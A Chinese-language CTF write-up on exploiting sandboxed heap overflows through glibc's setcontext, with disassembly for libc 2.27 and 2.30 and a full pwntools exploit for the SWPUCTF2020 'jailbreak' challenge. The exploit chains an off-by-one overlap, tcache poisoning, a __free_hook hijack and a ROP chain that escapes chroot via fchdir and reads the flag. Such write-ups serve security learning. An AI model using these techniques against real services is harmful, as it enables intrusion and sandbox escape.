沙盒堆溢出学习¶
在复现 SWPUCTF2020 jailbreak 遇到打开沙盒堆溢出题目,这条题目实际上还有 chroot 逃逸,这个先放后面。沙盒堆溢出利用方法关键是 setcontext()
,以这个点搜寻其他同类题目。年前的高校战役 lgd ,七月份 DASCTF bigbear 。
setcontext¶
// stdlib/setcontext.c
#include <errno.h>
#include <ucontext.h>
int setcontext(const ucontext_t *ucp){
……
};
其作用是用户上下文的设置,所以我们在可以小范围控制执行流,已知 libc_base 但不足以完成我们的目标时,可以先跳 setcontext+53
来扩大控制范围。简单来说就是**通过 setcontext 控制寄存器的值**。
setcontext+53 避免 crash¶
libc 2.27 下完整 setcontext 如下:
<setcontext>: push rdi
<setcontext+1>: lea rsi,[rdi+0x128]
<setcontext+8>: xor edx,edx
<setcontext+10>: mov edi,0x2
<setcontext+15>: mov r10d,0x8
<setcontext+21>: mov eax,0xe
<setcontext+26>: syscall
<setcontext+28>: pop rdi
<setcontext+29>: cmp rax,0xfffffffffffff001
<setcontext+35>: jae 0x7ffff7a7d520 <setcontext+128>
<setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>: fldenv [rcx]
<setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret
<setcontext+128>: mov rcx,QWORD PTR [rip+0x356951] # 0x7ffff7dd3e78
<setcontext+135>: neg eax
<setcontext+137>: mov DWORD PTR fs:[rcx],eax
<setcontext+140>: or rax,0xffffffffffffffff
<setcontext+144>: ret
fldenv [rcx]
指令会造成程序执行的时候直接crash,所以要避开这个指令,跳转到 setcontext+53 。
部署堆栈空间控制对应寄存器¶
沙盒堆溢出题目利用是将 __free_hook
劫持为 setcontext+53
,当 free 堆块时堆地址作为参数放在 rdi 传入函数中,进入到 setcontext 就会以**堆地址**作为基址,将不同偏移地址上的数据放入寄存器。所以我们需要控制**堆地址**后面空间上的内容。
注意:这里提前布置的数据并不是 srop 中的 frame!!!在其他题目的 wp 中使用 SigreturnFrame() 是方便生成而已,并不是说明填进去的是 frame。比如:
frame.rdi=0x123456
最后 0x123456 是赋值到 rsi <-mov rsi,QWORD PTR [rdi+0x70]
frame.rdi 的 0x123456 被传入 rsi
构造 rsp 时需要注意 push rcx 的影响,如果 rsp 地址不可访问,程序就会 crash 。
libc 2.29 之后变化¶
libc 2.27 下 setcontext:
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret
<setcontext+128>: mov rcx,QWORD PTR [rip+0x398c61]
<setcontext+135>: neg eax
<setcontext+137>: mov DWORD PTR fs:[rcx],eax
<setcontext+140>: or rax,0xffffffffffffffff
<setcontext+144>: ret
libc 2.30 下 setcontext:
<setcontext+52>: fldenv [rcx]
<setcontext+54>: ldmxcsr DWORD PTR [rdx+0x1c0]
<setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0]
<setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
<setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
<setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
<setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
<setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
<setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
<setcontext+95>: test DWORD PTR fs:0x48,0x2
<setcontext+107>: je 0x7f4ea94d71c6 <setcontext+294>
<setcontext+113>: mov rsi,QWORD PTR [rdx+0x3a8]
<setcontext+120>: mov rdi,rsi
<setcontext+123>: mov rcx,QWORD PTR [rdx+0x3b0]
<setcontext+130>: cmp rcx,QWORD PTR fs:0x78
<setcontext+139>: je 0x7f4ea94d7165 <setcontext+197>
<setcontext+141>: mov rax,QWORD PTR [rsi-0x8]
<setcontext+145>: and rax,0xfffffffffffffff8
<setcontext+149>: cmp rax,rsi
<setcontext+152>: je 0x7f4ea94d7140 <setcontext+160>
原来是以 rdi 作为基地址,在 libc 2.29 之后以 rdx 作为基地址。
SWPUCTF2020 jailbreak¶
基本情况¶
[*] '/ctf/work/jailbreak'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序限制操作次数,以及(正常情况下)允许分配的堆 size 总数,这个数存放在堆上:
程序初始化时调用 chroot 改变根目录:
漏洞¶
自定义输入函数存在 off by one :
思路¶
libc 地址怎么都是要知道的,题目限制申请总 size ,先用 tcache 泄露堆地址。offbyone 创造出 tcachebin 重叠空间,修改在 tcachebin 中的堆得 fd 指针,指向到 size 所在空间,调大 size 。
重复上面构成堆重叠步骤在 tcache struct 上申请一个堆控制索引数量,将 0x90 索引数量调成 8 。溢出修改 size 位伪造出一个 0x90 的堆释放进入 unsortedbin 泄露地址。
重复上面构造堆重叠步骤修改 tcachebin fd 指针指向 free_hook ,将 tcache bin 其中一个开头地址修改为 __free hook 用于修改其值位 setcontent+53 。同时部署 setcontext 的上下文。利用 setcontext 构建出一个 read 写入,写入 ROP 链:
执行chdir(fd)来实现chroot逃逸
ORW 读取 flag
EXP¶
本地复现时在 18.04 系统里面跑,没有 chroot 等等限制。。。将 __free_hook 改 onegadget 就 getshell 了。后面放到 docker 各种限制就又出现了。。。
官方WP:https://wllm1013.github.io/2020/12/09/SWPUCTF2020-%E5%AE%98%E6%96%B9WP/#jailbreak
# -*- coding: utf-8 -*-
import sys
import os
from time import *
from pwn import *
context(log_level='debug', terminal=['tmux', 'sp', '-h'], arch='amd64')
sh = process("./jailbreak")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./jailbreak")
def s(data): return sh.send(str(data))
def sa(delim, data): return sh.sendafter(str(delim), str(data))
def sl(data): return sh.sendline(str(data))
def sla(delim, data): return sh.sendlineafter(str(delim), str(data))
def r(numb=4096): return sh.recv(numb)
def ru(delims, drop=True): return sh.recvuntil(delims, drop)
def irt(): return sh.interactive()
def uu32(data): return u32(data.ljust(4, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def ru7f(): return u64(sh.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
def ruf7(): return u32(sh.recvuntil("\xf7")[-4:].ljust(4, b'\x00'))
def lg(data): return log.success(data)
def add(name_size, description_size):
sla("Action:", "B")
sla("Item name size:", str(name_size))
sla("Item description size:", str(description_size))
def edit(idx, name, description):
sla("Action:", "M")
sla("idx:", str(idx))
if name != "":
sla("Modify name?[y/N]", "y")
sa("new name:", str(name))
else:
sla("Modify name?[y/N]", "n")
if description != "":
sla("Modify description?[y/N]", "y")
sa("new description:", str(description))
else:
sla("Modify description?[y/N]", "n")
def free(idx):
sla("Action:", "S")
sla("idx:", str(idx))
def show():
sla("Action:", "W")
def backdoor():
sla("Action:", "\xFF")
sla("Action[y/N]", 'y')
# leak heap_base
add(0x18, 0x18)
add(0x18, 0x18)
free(0)
add(0x18, 0x18)
show()
ru("Item name: ")
heap_base = uu64(r(6)) - 0x280
log.info("heap_base:"+hex(heap_base))
# hijack money
edit(0, '\x13' * 0x18 + "\n", '\x14' * 0x18 + p8(0x41))
free(0)
add(0x18, 0x29) # 0x20;0x40
free(1)
edit(0, '\x13' * 0x18 + "\n", '\x14' * 0x18 +
p64(0x21) + p64(heap_base + 0x250 + 0x10) + "\n")
free(0) # balance tcache number
add(0x18, 0x18) # 0x20;0x20
add(0x18, 0x18) # 0x20;0x20
edit(1, '\x15' * 0x18 + "\n", p64(0xcafecafe) + "\n")
# get fd
backdoor()
ru("secret:")
dir_fd = int(ru("\n").strip(), 10)
log.info("dri_fd:"+hex(dir_fd))
# hijack tache struct
add(0x28, 0x28)
add(0x28, 0x28) # 3
edit(2, '\x16' * 0x28 + p8(0x51), "\n")
free(2)
add(0x28, 0x48) # 0x30;0x50
free(3)
edit(2, '\x16' * 0x28 + "\n", 'a' * 0x28 +
p64(0x31) + p64(heap_base + 0x10) + "\n")
add(0x28, 0x28)
add(0x28, 0x38) # tcache struct;0x40 tbin
# set 0x90->8
edit(4, p64(0x0800000000000000) + "\n", p64(0xdeadbeef) + "\n")
# leak libc_base
add(0x38, 0x38)
add(0x38, 0x38)
edit(5, '\x15' * 0x38 + p8(0x91), '\x16' * 0x18 + '\n')
# bypass double free(!prev_inuse)
edit(6, '\n', p64(0) + p64(0x31) + "\n")
free(5)
add(0x38, 0x38) # 5
show()
ru("Item idx: 5")
ru("description: ")
main_arena = uu64(r(6)) - 224
libc = main_arena - 0x10 - lib.symbols[b'__malloc_hook']
log.info("libc_base:"+hex(libc))
lib.address = libc
system = lib.symbols[b'system']
binsh = lib.search(b"/bin/sh\x00").next()
__free_hook = lib.symbols[b'__free_hook']
log.info("free_hook:"+hex(__free_hook))
__malloc_hook = lib.symbols[b'__malloc_hook']
pop_rdi_ret = libc + 0x00000000000215bf#0x000000000002155f
pop_rsi_ret = libc + 0x0000000000023eea#0x0000000000023e8a
pop_rdx_ret = libc + 0x0000000000001b96#0x0000000000001b96
pop_rdx_rsi_ret = libc + 0x0000000000130569#0x0000000000130889
ret = libc + 0x00000000000008aa
add(0x38, 0x38) # 7
free(6) # ???
# 0x60 : tcache 0x40
edit(7,p64(heap_base + 0x60) + "\n","flag.txt\x00".ljust(0x20,'a') + p64(0x3c0 + heap_base) + p64(ret) + "\n")
# heap_base+0x60 :tcache struct 0x40 chunk head
# setcontext data
# rsp:heap_base+0x3c0:chunk5
# rip:ret
add(0x38, 0x48) # 6
add(0x38, 0x48) # 8
edit(8, p64(0xdeadbeef) + "\n", p64(lib.sym['__free_hook']) + "\n")
# fix tcache 0x40
edit(4, p64(0x0800000000010000) + "\n", p64(0xdeadbeef) + "\n")
# overwrite free_hook
log.info("setcontext:"+hex(lib.sym['setcontext']))
add(0x38, 0x48) # 9
edit(9, p64(lib.sym['setcontext'] + 53) + "\n", '\n')
# creat read
edit(5, p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi_ret) + p64(0x1000) +
p64(heap_base + 0x3b0) + p64(lib.sym['read'])+"\n", '\n')
#gdb.attach(sh)
free(7)
payload = 'a' * (0x40-2)
payload += p64(pop_rdi_ret) + p64(dir_fd)
payload += p64(lib.sym['fchdir'])
payload += p64(pop_rdi_ret) + p64(heap_base+0x4c0)
payload += p64(pop_rsi_ret) + p64(0x0)
payload += p64(lib.sym['open'])
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rdx_rsi_ret) + p64(0x100) + p64(heap_base+0x440)
payload += p64(lib.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rdx_rsi_ret) + p64(0x100) + p64(heap_base+0x400)
payload += p64(lib.sym['write'])
# payload += p64(pop_rdi_ret) + p64(binsh)
# payload += p64(ret)
# payload += p64(system)
sl(payload)
sleep(2)
# sl("echo deadbeef && cd ../ && cat flag.txt")
# ru("deadbeef")
print sh.recv()
irt()